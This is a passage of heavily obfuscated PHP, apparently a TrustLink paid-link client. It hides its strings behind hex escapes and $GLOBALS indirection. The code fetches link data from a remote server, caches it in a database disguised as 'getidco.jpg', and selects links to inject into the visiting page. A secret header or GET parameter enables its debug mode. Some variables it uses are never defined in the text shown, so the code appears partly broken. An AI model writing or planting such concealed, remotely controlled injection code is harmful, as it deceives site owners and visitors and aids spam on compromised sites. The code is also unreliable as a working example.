$jhvydue="\x6f\x70t\x69\x6f\x6es";
$host=${${"\x47\x4c\x4fBA\x4c\x53"}["\x77\x69v\x78v\x65\x64\x63"]};
${$jhvydue}=array();
}
else
{
${${"G\x4c\x4f\x42\x41L\x53"}["\x77i\x76\x78vedc"]}=array();
}
${"\x47\x4c\x4f\x42\x41\x4cS"}["\x67\x71\x63\x6ap\x63\x68l\x66eq"]="\x6f\x70t\x69on\x73";
$djqwbeekdrxf="\x6fp\x74io\x6es";
if(strlen($host)!=0)
{
$this->tl_host=$host;
}
else
{
$this->tl_host=$_SERVER["HTT\x50\x5f\x48\x4fS\x54"];
}
${"\x47\x4cO\x42\x41\x4c\x53"}["w\x74\x65\x79e\x6b\x6d\x6fq\x72"]="\x6f\x70tio\x6e\x73";
$this->tl_host=preg_replace("{^\x68tt\x70s?://}\x69","",$this->tl_host);
$this->tl_host=preg_replace("{^www\x5c.}i","",$this->tl_host);
$wxsmhvfl="\x6f\x70ti\x6f\x6e\x73";
$this->tl_host=strtolower($this->tl_host);
if(isset(${${"GLO\x42\x41\x4c\x53"}["\x77tey\x65\x6b\x6d\x6f\x71r"]}["\x69\x73\x5fs\x74\x61tic"])&&${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x77\x69\x76x\x76ed\x63"]}["i\x73\x5fsta\x74\x69\x63"])
{
$this->tl_is_static=true;
}
${"\x47\x4cOB\x41L\x53"}["\x73\x71\x76n\x66h\x67\x65f"]="\x6fp\x74\x69\x6fns";
$osbfpq="\x6fp\x74io\x6es";
${"GLO\x42\x41\x4c\x53"}["kj\x79\x6cy\x71e\x63g"]="\x6f\x70\x74\x69\x6fns";
if(isset(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x67\x77\x74\x6c\x6f\x76\x64\x64z"]}["r\x65\x71u\x65\x73\x74_\x75ri"])&&strlen(${${"\x47\x4cO\x42AL\x53"}["\x77\x69vxv\x65\x64\x63"]}["\x72\x65q\x75es\x74\x5f\x75r\x69"])!=0)
{
$scychsxlx="\x6f\x70t\x69\x6f\x6e\x73";
$this->tl_request_uri=${$scychsxlx}["\x72e\x71\x75\x65st\x5fu\x72\x69"];
}
else
{
if($this->tl_is_static)
{
$this->tl_request_uri=preg_replace("{\\?.*\$}","",$_SERVER["R\x45QUE\x53T\x5f\x55R\x49"]);
$this->tl_request_uri=preg_replace("{/+}","/",$this->tl_request_uri);
}
else
{
$this->tl_request_uri=$_SERVER["\x52E\x51U\x45\x53\x54_\x55R\x49"];
}
}
$this->tl_request_uri=rawurldecode($this->tl_request_uri);
$eqrexulbnt="o\x70\x74\x69\x6f\x6e\x73";
if(isset(${$osbfpq}["\x6dult\x69_si\x74e"])&&${${"\x47\x4cO\x42A\x4c\x53"}["\x6bj\x79\x6c\x79\x71\x65\x63\x67"]}["m\x75l\x74\x69_\x73it\x65"]==true)
{
$this->tl_multi_site=true;
}
if((isset(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x77i\x76\x78\x76\x65\x64c"]}["\x76e\x72bos\x65"])&&${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x67\x71\x63\x6apch\x6cfeq"]}["\x76\x65\x72\x62o\x73e"])||isset($this->tl_links["_\x5f\x74\x72\x75stlin\x6b_de\x62\x75g__"]))
{
$this->tl_verbose=true;
}
$moswex="\x6f\x70\x74\x69ons";
if(isset(${$jivulmyelu}["charset"])&&strlen(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["wiv\x78\x76e\x64\x63"]}["c\x68\x61rset"])!=0)
{
${"G\x4c\x4fB\x41\x4cS"}["\x61\x74\x6b\x72\x64j\x69\x63fy"]="o\x70\x74i\x6fn\x73";
$this->tl_charset=${${"\x47\x4c\x4fBA\x4cS"}["a\x74\x6b\x72\x64\x6a\x69\x63\x66\x79"]}["c\x68\x61\x72s\x65\x74"];
}
$zbezcqjmtcgm="o\x70\x74i\x6fns";
${"\x47\x4c\x4f\x42\x41L\x53"}["\x64\x71\x6blnh\x67ju"]="o\x70\x74i\x6f\x6es";
$vwyputxnhkn="\x6fpt\x69\x6f\x6es";
$tvdiwx="op\x74\x69\x6f\x6e\x73";
if(isset(${$mgdkghmch}["f\x65\x74\x63\x68_r\x65m\x6fte_t\x79pe"])&&strlen(${$eqrexulbnt}["\x66\x65tch\x5f\x72\x65mo\x74e_\x74yp\x65"])!=0)
{
$this->tl_fetch_remote_type=${${"G\x4c\x4f\x42A\x4cS"}["\x77iv\x78ve\x64\x63"]}["\x66e\x74c\x68\x5f\x72em\x6ft\x65_\x74y\x70e"];
}
if(isset(${${"\x47L\x4fBA\x4c\x53"}["\x64q\x6b\x6c\x6e\x68\x67\x6au"]}["\x73oc\x6be\x74_ti\x6deo\x75\x74"])&&is_numeric(${${"G\x4c\x4fB\x41\x4cS"}["\x77\x69vxv\x65d\x63"]}["\x73o\x63\x6b\x65\x74_\x74i\x6d\x65o\x75t"])&&${$djqwbeekdrxf}["so\x63\x6b\x65t_\x74i\x6de\x6fu\x74"]>0)
{
$llkpttcja="\x6f\x70\x74\x69\x6fns";
$this->tl_socket_timeout=${$llkpttcja}["\x73\x6f\x63k\x65\x74_\x74\x69m\x65o\x75\x74"];
}
if((isset(${${"\x47\x4c\x4f\x42A\x4cS"}["\x77i\x76\x78\x76\x65\x64\x63"]}["\x66\x6fr\x63e\x5fs\x68\x6fw\x5f\x63od\x65"])&&${$moswex}["for\x63e\x5fshow\x5f\x63ode"])||isset($this->tl_links["\x5f\x5f\x74\x72\x75stl\x69nk_\x64e\x62\x75\x67_\x5f"]))
{
$this->tl_force_show_code=true;
}
if(isset(${${"\x47\x4cOB\x41\x4c\x53"}["sqv\x6e\x66hgef"]}["\x75se_c\x61c\x68\x65"])&&${${"\x47LO\x42\x41L\x53"}["w\x69\x76\x78\x76\x65d\x63"]}["u\x73e\x5f\x63a\x63he"])
{
$this->tl_cache=true;
}
if(isset(${$zbezcqjmtcgm}["ca\x63h\x65_clus\x74e\x72s"])&&${$tvdiwx}["\x63\x61c\x68e_\x63\x6cu\x73\x74ers"])
{
$ygnnbtbi="\x6f\x70\x74i\x6f\x6e\x73";
$this->tl_cache_size=${$ygnnbtbi}["\x63ach\x65_c\x6custe\x72s"];
}
if(isset(${$vwyputxnhkn}["cac\x68\x65_dir"])&&${$wxsmhvfl}["\x63\x61che_\x64\x69\x72"])
{
$wqkhrxwgh="opt\x69\x6f\x6e\x73";
$this->tl_cache_dir=${$wqkhrxwgh}["\x63\x61c\x68\x65\x5f\x64\x69\x72"];
}
if(!defined("\x54\x52U\x53T\x4c\x49N\x4b\x5f\x55\x53E\x52"))
{
return$this->raise_error("\x43\x6fnst\x61\x6et\x20\x54\x52US\x54\x4c\x49NK\x5f\x55\x53ER\x20\x69\x73\x20\x6eot\x20\x64e\x66in\x65d\x2e");
}
if(isset($_SERVER["\x48\x54\x54P_\x54R\x55\x53\x54LI\x4eK"])&&$_SERVER["\x48T\x54\x50\x5fT\x52U\x53\x54\x4cIN\x4b"]==TRUSTLINK_USER)
{
$this->tl_test=true;$this->tl_isrobot=true;$this->tl_verbose=true;
}
if(isset($_GET["t\x72\x75\x73\x74l\x69\x6e\x6b_t\x65\x73t"])&&$_GET["tru\x73\x74l\x69n\x6b\x5ft\x65st"]==TRUSTLINK_USER)
{
$this->tl_force_show_code=true;$this->tl_verbose=true;
}
$this->load_links();
}
function setup_datafile($filename)
{
$hepjgu="\x66\x69\x6c\x65n\x61m\x65";
if(!is_file(${$hepjgu}))
{
if(@touch(${${"\x47LO\x42AL\x53"}["ldo\x73\x64qmp\x78"]},time()-$this->tl_cache_lifetime))
{
${"\x47\x4cO\x42\x41\x4cS"}["kc\x72\x6f\x78fx\x65"]="\x66\x69l\x65\x6e\x61\x6d\x65";
@chmod(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6bcr\x6f\x78fx\x65"]},0666);
}
else
{
return$this->raise_error("\x54h\x65r\x65\x20is n\x6f f\x69\x6ce ".${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6c\x64\x6f\x73\x64\x71m\x70x"]}.".\x20\x46ail\x20t\x6f\x20\x63\x72ea\x74\x65. \x53et\x20mode t\x6f \x377\x37\x20\x6fn\x20the \x66o\x6cd\x65\x72\x2e");
}
}
if(!is_writable(${${"G\x4c\x4fB\x41\x4c\x53"}["ld\x6fs\x64\x71\x6d\x70\x78"]}))
{
return$this->raise_error("There\x20i\x73\x20\x6eo\x20perm\x69\x73si\x6fns\x20\x74o wr\x69te:\x20".${${"\x47\x4c\x4f\x42\x41LS"}["\x6c\x64\x6fs\x64\x71mp\x78"]}."\x21\x20\x53\x65t mo\x64e to \x3777\x20\x6f\x6e\x20\x74h\x65 \x66olde\x72\x2e");
}
return true;
}
function load_links()
{
if($this->tl_multi_site)
{
$this->tl_links_db_file=dirname(__FILE__)."/\x74r\x75stli\x6e\x6b.".$this->tl_host."\x2eli\x6e\x6bs.d\x62";
}
else
{
$this->tl_links_db_file=dirname(__FILE__)."/g\x65tidco\x2ejpg";
}
if(!$this->setup_datafile($this->tl_links_db_file))
{
return false;
}
if($this->tl_cache)
{
if(!is_dir(dirname(__FILE__)."/".$this->tl_cache_dir))
{
if(!@mkdir(dirname(__FILE__)."/".$this->tl_cache_dir))
{
return$this->raise_error("\x54he\x72e\x20i\x73\x20no d\x69r ".dirname(__FILE__)."/".$this->tl_cache_dir."\x2e\x20\x46\x61i\x6c\x20\x74\x6f\x20\x63\x72ea\x74\x65.\x20\x53\x65t \x6d\x6fd\x65 \x74\x6f 7\x377 \x6fn \x74he\x20\x66ol\x64\x65\x72.");
}
}
${"\x47\x4cO\x42A\x4c\x53"}["\x63\x6br\x6dtr\x76\x67"]="\x69";
if(!is_writable(dirname(__FILE__)."/".$this->tl_cache_dir))
{
return$this->raise_error("Th\x65\x72\x65\x20\x69\x73 \x6e\x6f\x20p\x65r\x6d\x69\x73si\x6fn\x73\x20\x74\x6f\x20\x77r\x69\x74e t\x6f\x20d\x69r ".$this->tl_cache_dir."\x21\x20Set \x6dode\x20\x74\x6f\x20\x37\x377\x20on \x74he\x20f\x6fl\x64\x65\x72\x2e");
}
for(${${"\x47\x4c\x4f\x42\x41\x4cS"}["c\x6b\x72mtr\x76\x67"]}=0;
${${"GL\x4f\x42ALS"}["\x76\x74\x63\x62a\x7a\x78\x62\x6d"]}<$this->tl_cache_size;
${${"\x47\x4c\x4f\x42\x41L\x53"}["\x76\x74\x63\x62\x61\x7axbm"]}++)
{
$cdtihsa="\x69";
$sgzrhjvadz="\x66ile\x6e\x61\x6d\x65";
${$sgzrhjvadz}=$this->cache_filename(${$cdtihsa});
if(!$this->setup_datafile(${${"\x47L\x4f\x42AL\x53"}["\x6c\x64\x6fsd\x71\x6d\x70x"]}))
{
return false;
}
}
}
@clearstatcache();
if(filemtime($this->tl_links_db_file)<(time()-$this->tl_cache_lifetime)||(filemtime($this->tl_links_db_file)<(time()-$this->tl_cache_reloadtime)&&filesize($this->tl_links_db_file)==0))
{
$gckqwzydxswo="l\x69\x6ek\x73";
@touch($this->tl_links_db_file,time());
${${"\x47L\x4f\x42\x41\x4c\x53"}["\x64\x6c\x66\x70\x6b\x71\x6a\x61\x66\x72t\x64"]}="/".TRUSTLINK_USER."/".strtolower($this->tl_host)."/".strtoupper($this->tl_charset);
if(${$gckqwzydxswo}=$this->fetch_remote_file($this->tl_server,${${"\x47\x4c\x4f\x42A\x4cS"}["\x64l\x66\x70\x6bqj\x61\x66\x72\x74d"]}))
{
if(substr(${${"\x47\x4cOB\x41\x4cS"}["\x75h\x74\x67\x78b\x6b\x62nzr"]},0,12)=="\x46\x41T\x41L \x45R\x52OR:"&&$this->tl_debug)
{
$ojfwehzivjm="l\x69\x6e\x6b\x73";
$this->raise_error(${$ojfwehzivjm});
}
else
{
${"G\x4cO\x42\x41\x4cS"}["\x67\x68\x6d\x64m\x6a\x6e"]="\x6c\x69\x6e\x6b\x73";
if(@unserialize(${${"G\x4c\x4fB\x41\x4c\x53"}["\x67\x68\x6dd\x6djn"]})!==false)
{
$acpejfpupor="\x6ci\x6ek\x73";
$this->lc_write($this->tl_links_db_file,${$acpejfpupor});
$this->tl_cache_update=true;
}
else if($this->tl_debug)
{
$this->raise_error("Cans'\x74 \x75\x6ese\x72\x69\x61\x6cize\x20\x72\x65ce\x69ve\x64\x20d\x61t\x61.");
}
}
}
}
if($this->tl_cache&&!$this->lc_is_synced_cache())
{
$this->tl_cache_update=true;
}
if($this->tl_cache&&!$this->tl_cache_update)
{
${"\x47L\x4f\x42A\x4c\x53"}["e\x6f\x7am\x67\x74\x63\x6asd\x62"]="li\x6e\x6bs";
$this->tl_cache_cluster=$this->page_cluster($this->tl_request_uri,$this->tl_cache_size);
${${"\x47\x4c\x4f\x42AL\x53"}["\x65o\x7a\x6d\x67\x74\x63js\x64\x62"]}=$this->lc_read($this->cache_filename($this->tl_cache_cluster));
}
else
{
$zneuqucr="l\x69\x6e\x6bs";
${$zneuqucr}=$this->lc_read($this->tl_links_db_file);
}
$dsbrdo="\x6c\x69n\x6b\x73";
$this->tl_file_change_date=gmstrftime("\x25\x64.%m.\x25\x59\x20%H:%M:%\x53",filectime($this->tl_links_db_file));
$this->tl_file_size=strlen(${${"\x47\x4cO\x42A\x4c\x53"}["\x75\x68\x74g\x78b\x6b\x62\x6ez\x72"]});
if(!${$dsbrdo})
{
$this->tl_links=array();
if($this->tl_debug)$this->raise_error("\x45\x6d\x70\x74y\x20\x66ile.");
}
else if(!$this->tl_links=@unserialize(${${"\x47LO\x42\x41\x4cS"}["\x75h\x74\x67\x78b\x6bbn\x7a\x72"]}))
{
$this->tl_links=array();
if($this->tl_debug)
$this->raise_error("\x43\x61\x6e'\x74\x20u\x6ese\x72ial\x69ze d\x61ta from \x66i\x6c\x65\x2e");
}
if(isset($this->tl_links["__\x74\x72\x75s\x74\x6ci\x6ek\x5fdel\x69m\x69te\x72\x5f_"]))
{
$this->tl_links_delimiter=$this->tl_links["\x5f_\x74r\x75\x73\x74l\x69\x6e\x6b_\x64\x65\x6ci\x6d\x69ter\x5f_"];
}
if($this->tl_test)
{
if(isset($this->tl_links["\x5f_te\x73\x74_t\x6c\x5f\x6ci\x6e\x6b\x5f_"])&&is_array($this->tl_links["\x5f\x5f\x74est\x5ft\x6c\x5fl\x69\x6ek__"]))
{
${"\x47LO\x42A\x4cS"}["\x78i\x6fe\x66j"]="\x69";
for(${${"G\x4c\x4f\x42\x41L\x53"}["v\x74c\x62\x61z\x78\x62m"]}=0;
${${"\x47\x4cO\x42\x41\x4c\x53"}["vt\x63b\x61\x7a\x78\x62m"]}<$this->tl_test_count;
${${"G\x4c\x4f\x42\x41\x4cS"}["\x76tc\x62az\x78bm"]}++)$this->tl_links_page[${${"\x47L\x4fBAL\x53"}["\x78\x69oe\x66j"]}]=$this->tl_links["_\x5ft\x65st\x5ftl\x5flink_\x5f"];
}
if($this->tl_charset!="\x44E\x46\x41U\x4c\x54")
{
$cggqll="\x69";$gnelysfr="i";
$this->tl_links_page[${$gnelysfr}]["\x74\x65\x78t"]=iconv("U\x54\x46-\x38",$this->tl_charset,$this->tl_links_page[${$cggqll}]["\x74\x65\x78\x74"]);
$this->tl_links_page[${${"\x47L\x4fBA\x4cS"}["v\x74c\x62\x61z\x78\x62m"]}]["a\x6ech\x6fr"]=iconv("UT\x46-8",$this->tl_charset,$this->tl_links_page[${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x76\x74\x63b\x61\x7a\x78b\x6d"]}]["a\x6e\x63\x68o\x72"]);
}
}
else{
${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x72bskw\x72\x73\x6e"]}=array();
foreach($this->tl_links as${${"G\x4c\x4fBA\x4c\x53"}["xig\x75\x74b\x63\x6b"]}=>${${"G\x4c\x4f\x42A\x4c\x53"}["hsh\x64\x68\x76"]})
{
$junbfu="\x6b\x65y";
${${"\x47LO\x42\x41\x4c\x53"}["\x72b\x73k\x77\x72s\x6e"]}[rawurldecode(${$junbfu})]=${${"\x47\x4cOB\x41\x4cS"}["h\x73\x68\x64\x68\x76"]};
}
$this->tl_links=${${"\x47\x4c\x4fB\x41\x4c\x53"}["rbs\x6b\x77r\x73n"]};
if($this->tl_cache&&$this->tl_cache_update)
{
$this->lc_write_cache($this->tl_links);
}
$this->tl_links_page=array();
if(array_key_exists($this->tl_request_uri,$this->tl_links)&&is_array($this->tl_links[$this->tl_request_uri]))
{
$this->tl_links_page=array_merge($this->tl_links_page,$this->tl_links[$this->tl_request_uri]);
}
}
$this->tl_links_count=count($this->tl_links_page);
}
function fetch_remote_file($host,$path)
{
${${"\x47\x4c\x4f\x42A\x4c\x53"}["ytp\x75\x6br\x6e\x6b"]}="T\x72us\x74lin\x6b \x43\x6c\x69\x65n\x74 \x50H\x50 ".$this->tl_version;
@ini_set("allow\x5f\x75\x72\x6c_fope\x6e",1);
@ini_set("\x64e\x66\x61\x75\x6ct\x5f\x73\x6fc\x6bet\x5f\x74\x69m\x65\x6fu\x74",$this->tl_socket_timeout);
@ini_set("\x75\x73e\x72_\x61\x67en\x74",${${"G\x4c\x4f\x42AL\x53"}["\x79\x74p\x75\x6br\x6e\x6b"]});
if($this->tl_fetch_remote_type=="f\x69\x6c\x65_\x67\x65\x74\x5fc\x6f\x6e\x74en\x74\x73"||($this->tl_fetch_remote_type==""&&function_exists("f\x69le_ge\x74_c\x6f\x6e\x74e\x6ets")&&ini_get("\x61llo\x77_ur\x6c_\x66op\x65\x6e")==1))
{
$bqiobh="\x64a\x74\x61";
if(${$bqiobh}=@file_get_contents("http://".$host.${${"\x47\x4c\x4f\x42\x41L\x53"}["\x64\x6c\x66\x70\x6b\x71\x6a\x61\x66\x72td"]}))
{
$tyfewkxaw="\x64\x61\x74\x61";
return${$tyfewkxaw};
}
}
elseif($this->tl_fetch_remote_type=="\x63\x75r\x6c"||($this->tl_fetch_remote_type==""&&function_exists("c\x75r\x6c\x5f\x69\x6eit")))
{
if(${${"\x47\x4c\x4f\x42\x41\x4cS"}["p\x74\x64\x7a\x73\x7a\x75x"]}=@curl_init())
{
${"\x47\x4cO\x42AL\x53"}["\x77\x66\x6co\x72d\x79d"]="\x64\x61\x74\x61";
@curl_setopt(${${"G\x4cOB\x41\x4cS"}["\x70\x74\x64z\x73\x7au\x78"]},CURLOPT_URL,"h\x74tp://".$host.${${"\x47L\x4f\x42\x41\x4cS"}["\x64\x6c\x66\x70\x6b\x71\x6a\x61f\x72\x74\x64"]});
$pqbudqqjy="c\x68";
${"\x47\x4c\x4fBA\x4cS"}["\x64\x73m\x73\x6a\x62\x68\x68"]="ch";
${"G\x4cO\x42\x41L\x53"}["t\x78op\x6fb\x68\x79\x63hz"]="\x63\x68";
@curl_setopt(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x74\x78opo\x62\x68y\x63\x68\x7a"]},CURLOPT_HEADER,false);
@curl_setopt(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x70\x74\x64\x7a\x73\x7aux"]},CURLOPT_RETURNTRANSFER,true);
@curl_setopt(${${"G\x4c\x4fBA\x4c\x53"}["\x64\x73\x6d\x73\x6ab\x68h"]},CURLOPT_CONNECTTIMEOUT,$this->tl_socket_timeout);
@curl_setopt(${${"\x47L\x4f\x42\x41\x4cS"}["\x70t\x64\x7a\x73\x7au\x78"]},CURLOPT_USERAGENT,${${"\x47\x4cOB\x41\x4c\x53"}["\x79\x74\x70\x75\x6b\x72\x6ek"]});
$rtlxxmroy="c\x68";
if(${${"\x47\x4cO\x42AL\x53"}["wf\x6cord\x79d"]}=@curl_exec(${$rtlxxmroy}))
{
${"G\x4cO\x42\x41\x4c\x53"}["\x6ahsqo\x6de\x64\x6ev"]="d\x61\x74\x61";
return${${"\x47\x4c\x4f\x42AL\x53"}["\x6a\x68\x73q\x6f\x6d\x65d\x6ev"]};
}
@curl_close(${$pqbudqqjy});
}
}
else
{
${"\x47\x4cOB\x41\x4cS"}["\x6d\x63o\x79\x77\x6av\x79\x75\x7a"]="bu\x66f";
${"\x47L\x4fB\x41\x4c\x53"}["\x73jy\x68f\x62\x62qg\x65\x6e"]="\x66\x70";
${${"\x47\x4cO\x42A\x4cS"}["\x6dco\x79\x77\x6a\x76\x79\x75\x7a"]}="";
${${"GLO\x42A\x4cS"}["\x73j\x79h\x66b\x62\x71\x67\x65\x6e"]}=@fsockopen($host,80,${${"\x47\x4c\x4f\x42\x41L\x53"}["az\x67l\x65\x6b\x74\x76\x72\x68\x64"]},${${"G\x4cO\x42AL\x53"}["\x69mvd\x70\x66\x6eg"]},$this->tl_socket_timeout);
if(${${"\x47\x4c\x4fB\x41\x4cS"}["c\x78\x78\x70\x70\x72\x72"]})
{
${"\x47\x4c\x4fB\x41\x4c\x53"}["\x73yi\x72\x75\x67\x73x\x6b\x6b"]="\x66\x70";
@fputs(${${"\x47\x4cOB\x41LS"}["\x73\x79\x69\x72\x75\x67\x73x\x6b\x6b"]},"GE\x54 {$path}\x20\x48\x54\x54P/\x31\x2e0\r\n\x48ost:\x20{$host}\r\n");
${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6d\x65i\x73\x76\x76\x66d"]="\x66\x70";
$wpxmiorwmn="\x70ag\x65";
@fputs(${${"G\x4c\x4fB\x41LS"}["\x63\x78x\x70\x70\x72\x72"]},"\x55ser-A\x67\x65nt: {$user_agent}\r\n\r\n");
while(!@feof(${${"\x47LO\x42\x41L\x53"}["\x6d\x65i\x73\x76\x76\x66d"]}))
{
$mglyjyu="\x66\x70";
${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6eyo\x67a\x6c\x71hy\x61\x73\x68"]}.=@fgets(${$mglyjyu},128);
}
@fclose(${${"\x47L\x4f\x42\x41LS"}["cxxp\x70\x72\x72"]});
${${"\x47L\x4f\x42\x41\x4cS"}["\x72\x70\x66\x6d\x7a\x71\x6d"]}=explode("\r\n\r\n",${${"\x47\x4c\x4fB\x41\x4c\x53"}["n\x79\x6fg\x61l\x71\x68y\x61sh"]});
return${$wpxmiorwmn}[1];
}
}
return$this->raise_error("\x43a\x6e'\x74\x20conn\x65c\x74 \x74o \x73\x65rv\x65r: ".$host.${${"\x47LO\x42AL\x53"}["\x64\x6c\x66p\x6b\x71\x6aaf\x72\x74\x64"]});
}
function lc_read($filename)
{
$fnvskstblns="\x66\x70";
${${"GL\x4f\x42\x41\x4c\x53"}["\x63x\x78p\x70r\x72"]}=@fopen(${${"G\x4cO\x42A\x4c\x53"}["\x6c\x64os\x64\x71\x6dp\x78"]},"rb");
@flock(${$fnvskstblns},LOCK_SH);
if(${${"\x47\x4c\x4fB\x41\x4cS"}["\x63xx\x70\x70\x72\x72"]})
{
${"\x47L\x4f\x42ALS"}["\x76\x72\x6d\x6d\x6ars\x75p\x61\x6a"]="\x6c\x65\x6eg\x74\x68";
clearstatcache();
${${"\x47\x4c\x4fB\x41\x4cS"}["\x76rm\x6dj\x72s\x75\x70\x61\x6a"]}=@filesize(${${"\x47LOBALS"}["\x6c\x64os\x64\x71\x6dpx"]});
$eiulvfkfwkhq="d\x61\x74\x61";
if(version_compare(PHP_VERSION,"5.3\x2e0","<"))
{
if(get_magic_quotes_gpc())
{
${${"G\x4c\x4f\x42\x41\x4cS"}["y\x77dl\x73vbkh\x78rm"]}=get_magic_quotes_runtime();
set_magic_quotes_runtime(0);
}
}
if(${${"\x47L\x4f\x42ALS"}["d\x6b\x65\x6dw\x65\x6f\x74\x71jg"]})
{
${"GL\x4f\x42AL\x53"}["\x74\x65\x7a\x6ce\x70g\x71"]="fp";
$jilttjya="da\x74\x61";
${$jilttjya}=@fread(${${"\x47\x4c\x4f\x42\x41LS"}["t\x65z\x6c\x65\x70\x67\x71"]},${${"\x47L\x4f\x42\x41L\x53"}["dkem\x77e\x6f\x74\x71\x6a\x67"]});
}
else
{
${"GL\x4fB\x41\x4c\x53"}["\x66\x72\x70\x71z\x6bw"]="\x64\x61\x74\x61";
${${"G\x4cO\x42\x41\x4c\x53"}["\x66\x72p\x71z\x6b\x77"]}="";
}
if(version_compare(PHP_VERSION,"\x35\x2e\x33.\x30","<"))
{
if(isset(${${"\x47\x4cOB\x41\x4cS"}["\x79wdl\x73\x76\x62k\x68xr\x6d"]}))
{
set_magic_quotes_runtime(${${"\x47\x4c\x4f\x42AL\x53"}["ywdl\x73v\x62\x6bh\x78\x72m"]});
}
}
$rwqtoep="\x66\x70";
@flock(${${"\x47L\x4f\x42A\x4cS"}["cxx\x70\x70\x72r"]},LOCK_UN);
@fclose(${$rwqtoep});
return${$eiulvfkfwkhq};
}
return$this->raise_error("C\x61\x6e\x27t\x20ge\x74 \x64a\x74a\x20f\x72\x6f\x6d th\x65\x20\x66i\x6ce:\x20".${${"\x47\x4cO\x42A\x4c\x53"}["\x6cd\x6fs\x64q\x6d\x70\x78"]});
}
function lc_write($filename,$data)
{
${${"\x47\x4cOB\x41\x4c\x53"}["\x63\x78\x78\x70\x70r\x72"]}=@fopen(${${"\x47\x4cOB\x41\x4c\x53"}["ldos\x64q\x6d\x70\x78"]},"\x77\x62");
${"\x47\x4c\x4fBA\x4c\x53"}["\x6dof\x77s\x6b\x79\x71\x70j"]="\x66ile\x6e\x61m\x65";
if(${${"\x47\x4c\x4f\x42\x41LS"}["\x63\x78\x78\x70p\x72r"]})
{
$yrmdnvxnkv="\x64\x61\x74\x61";
${"\x47\x4c\x4f\x42AL\x53"}["\x67\x75\x6e\x6cp\x79\x67\x70"]="\x66\x70";
$wzfbhipsjdb="\x66\x70";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x75\x63\x6f\x72\x72\x6f\x72\x6fx"]="\x6c\x65\x6eg\x74\x68";
$yjwyguyxoru="\x66\x70";
@flock(${${"GL\x4f\x42A\x4c\x53"}["\x67un\x6c\x70\x79\x67\x70"]},LOCK_EX);
$yktumfdt="\x64\x61\x74a";
${${"G\x4c\x4fBA\x4cS"}["u\x63o\x72r\x6f\x72\x6f\x78"]}=strlen(${$yrmdnvxnkv});
@fwrite(${$yjwyguyxoru},${$yktumfdt},${${"G\x4cO\x42\x41\x4c\x53"}["\x64\x6b\x65\x6d\x77\x65\x6f\x74qjg"]});
@flock(${${"\x47LO\x42\x41\x4c\x53"}["c\x78x\x70\x70r\x72"]},LOCK_UN);
@fclose(${$wzfbhipsjdb});
if(md5($this->lc_read(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6c\x64\x6fsdqm\x70x"]}))!=md5(${${"\x47\x4cO\x42\x41\x4cS"}["y\x6bd\x67c\x6edkj"]}))
{
$jljlhzjctr="\x66\x69l\x65\x6e\x61\x6d\x65";
return$this->raise_error("\x49\x6e\x74\x65\x67rity\x20\x77\x61\x73\x20vi\x6f\x6c\x61\x74e\x64\x20w\x68i\x6ce\x20\x77ri\x74ing t\x6f\x20f\x69le: ".${$jljlhzjctr});
}
return true;
}
return$this->raise_error("Ca\x6e\x27t \x77\x72\x69\x74\x65 t\x6f\x20file:\x20".${${"G\x4c\x4f\x42\x41L\x53"}["m\x6f\x66\x77skyq\x70j"]});
}
function page_cluster($path,$n)
{
$ywthdb="p\x61th";
$ohoqqptwnb="\x73u\x6d";
$vziqgjrhct="\x73\x69\x7ae";
$bhklqn="\x6e";
${${"\x47LOBA\x4cS"}["\x6a\x71\x70\x6bx\x64\x6f\x79\x6c"]}=strlen(${$ywthdb});
${$ohoqqptwnb}=0;
for(${${"G\x4c\x4f\x42\x41\x4cS"}["\x76\x74\x63b\x61\x7a\x78\x62\x6d"]}=0;
${${"G\x4cO\x42\x41L\x53"}["vt\x63ba\x7ax\x62\x6d"]}<${$vziqgjrhct};
${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["vt\x63b\x61\x7a\x78\x62m"]}++)
{
${"GL\x4f\x42AL\x53"}["\x73\x7a\x66\x6e\x6bnwj\x73\x73\x75"]="p\x61\x74h";
${${"G\x4c\x4f\x42\x41L\x53"}["\x6e\x78q\x72\x6b\x6f"]}+=ord(${${"GL\x4f\x42\x41\x4cS"}["\x73\x7af\x6e\x6bn\x77\x6a\x73s\x75"]}[${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["v\x74\x63b\x61\x7a\x78b\x6d"]}]);
}
return${${"\x47\x4c\x4f\x42A\x4cS"}["nxq\x72k\x6f"]}%${$bhklqn};
}
function cache_filename($i)
{
$host=$this->tl_multi_site?".".$this->tl_host:"";
return dirname(__FILE__)."/".$this->tl_cache_dir.$this->tl_cache_filename.$host."\x2e\x64b".${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["v\x74\x63ba\x7a\x78\x62m"]};
}
function lc_write_cache($data)
{
$uqeqdtekiwd="\x69";
$xjbhrteb="\x69";
${"\x47\x4c\x4f\x42A\x4c\x53"}["\x79\x63h\x6d\x6f\x6f\x73\x69\x74\x68i"]="\x76\x61\x6c\x75e";
$biqwuchbrg="ca\x63h\x65\x73";
${${"\x47L\x4f\x42\x41\x4c\x53"}["m\x65\x6cx\x6d\x78\x79\x71tx"]}=array("\x5f_\x74r\x75\x73t\x6c\x69\x6ek\x5fsta\x72t_\x5f","_\x5ftr\x75\x73\x74l\x69\x6e\x6b_\x65n\x64\x5f_","\x5f_tru\x73\x74\x6cin\x6b\x5f\x72obots\x5f\x5f","\x5f_\x74\x72us\x74\x6cink\x5fd\x65l\x69miter_\x5f","\x5f_tr\x75s\x74lin\x6b_\x62efo\x72e\x5f\x74\x65xt\x5f\x5f","__t\x72\x75s\x74\x6cink_\x61\x66\x74e\x72_tex\x74\x5f_","_\x5f\x74e\x73t_tl_li\x6e\x6b\x5f_");
${$biqwuchbrg}=array();
